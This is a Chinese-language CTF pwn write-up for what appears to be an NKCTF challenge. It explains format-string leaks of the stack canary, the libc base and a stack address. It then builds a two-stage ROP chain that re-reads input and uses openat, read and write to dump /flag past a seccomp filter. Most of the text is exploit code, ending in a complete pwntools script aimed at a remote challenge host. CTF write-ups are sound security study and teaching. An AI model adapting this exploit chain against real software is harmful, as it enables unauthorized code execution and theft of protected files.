学习与收获
当栈溢出的字节数不能满足我们构造完整的rop
链时,除了栈迁移我们还可以先构造一个read
的rop
链,让程序再read
一次,然后再写入rop
链覆盖我们调用read
时自己写的返回地址,以控制执行流执行rop
链。
有的程序开了沙箱会过滤一些函数,除了system
其他函数如open
也可能被过滤,可以使用命令seccomp-tools dump ./pwn
查看。
openat
函数也是一个类似于open
的打开文件的函数,openat
函数有4
个参数。openat
函数的第一个参数如果是0
,其第二个参数必须为文件的绝对路径;第二个参数如果是文件的相对路径,其第一个参数需为相对路径前的路径。
知道了libc
基地址,我们需要任何没见过的函数都可以到libc
中寻找,如果利用ROPgadget --binary pwn | grep "gadget"
没找到gadget
,我们也可以去libc
中寻找。利用ROPgadget --binary libc.so.6 | grep "gadget"
命令,我们找的是偏移gadget_offset
,gadget
的地址gadget_addr = gadget_offset+libc_base
。
在泄漏libc
基地址的时候,一般都是随便printf
出一个libc
中的任意地址,然后在ida
中计算偏移。但是如果本地的偏移与远程不同,且我们不容易把本地换成远程的libc
,我们可以printf
出准确函数函数的libc
地址,然后用elf.sym['read']
这种表示出偏移。
保护

思路

泄漏地址
有一个格式化字符串漏洞只能输入8
字节,和一个栈溢出漏洞。保护全开,我们先泄漏一个canary
。
payload = b'%7$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') canary = int(p.recv(18),16) log_addr("canary")
|
泄漏libc
payload = b'%3$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') libc_base = int(p.recv(14),16)-libc.sym['read']-18 log_addr("libc_base")
|
泄漏一个栈地址
payload = b'%p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') stack = int(p.recv(14),16) log_addr("stack")
|
本题拿到shell
后没有权限去cat flag
,但是我们可以用open-read-write
把flag
读出并打印出来,又因为过滤了open
,所以我们要用一个与open
函数类似的openat
函数打开文件。
布置rop
链
因为是64
位程序,所以传参需要寄存器,我们在程序里找不到gadget
,但是我们可以到libc
中找gadget
的偏移,再加上libc
基地址即可。
rdi = 0x000000000002a3e5+libc_base rsi = 0x000000000002be51+libc_base rdx_r12 = 0x000000000011f2e7+libc_base rcx = 0x3d1ee+libc_base
|
程序中我们能溢出80
个字节,但是orw_rop
链的长度远远超过了0x80
个字节,因此我们可以先read
一次,read
到哪儿呢?read
到装返回地址的这个地址里,覆盖我们的返回地址,这样才能继续控制执行流执行接下来的orw_rop
链。这个返回地址,是我们在r_rop
链中自己布置的,调用完read
函数后的返回地址。
payload = b'a'*(0x30-8)+p64(canary)+b'a'*8 payload+=p64(rdi)+p64(0)+p64(rsi)+p64(stack+0x38-8) payload+=p64(rdx_r12)+p64(0x1000)+p64(0) payload+=p64(libc.sym['read']+libc_base) payload+=p64(0xdeadbeef) p.send(payload)
|
然后布置orw_rop
链,由于文件描述符0,1,2
已被占用,这里我们openat
打开的新文件的文件描述符为3
,所以read
读取flag
的第一个寄存器的值应该是3
。
payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0) payload+=p64(libc.sym['openat']+libc_base) payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100)
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base) payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0)
|
exp
from tools import *
context.arch='amd64' p = remote("node.nkctf.yuzhian.com.cn",33656) elf = ELF('./pwn')
libc=ELF("/home/wen/Desktop/libc.so.6")
al = p.recvuntil(b'Select a option:') p.sendline(str(1)) pause() for i in range(10): payload = str(15.0).encode()+b'a' p.sendline(payload) sleep(0.2) for i in range(40): payload = str(15.0).encode()+b'SSS+' p.sendline(payload) sleep(0.2) p.sendline(str(2)) payload = b'%3$p' debug(p,'pie',0x1a36,0x19ce) p.sendline(payload) p.recvuntil(b'Input your nickname.\n') libc_base = int(p.recv(14),16)-libc.sym['read']-18 log_addr("libc_base") pause() p.sendline(b'aa') pause() p.sendline(str(2)) payload = b'%p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') stack = int(p.recv(14),16) log_addr("stack") pause() p.sendline(b'aa') pause() p.sendline(str(2)) payload = b'%7$p' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') canary = int(p.recv(18),16) log_addr("canary") pause() p.sendline(b'aa') pause()
p.sendline(str(2)) payload = b'bbbb' p.sendline(payload) p.recvuntil(b'Input your nickname.\n') rdi = 0x000000000002a3e5+libc_base rsi = 0x000000000002be51+libc_base rdx_r12 = 0x000000000011f2e7+libc_base rcx = 0x3d1ee+libc_base
payload = b'a'*(0x30-8) payload+=p64(canary) payload+=b'a'*8 payload+=p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8) payload+=p64(rdx_r12)+p64(0x100000)+p64(0) payload+=p64(libc.sym['read']+libc_base) payload+=p64(0xdeadbeef) p.send(payload) pause() payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0) payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0) payload+=p64(libc.sym['openat']+libc_base) payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base) payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100) payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0) p.sendline(payload)
p.interactive()
|
拿到flag
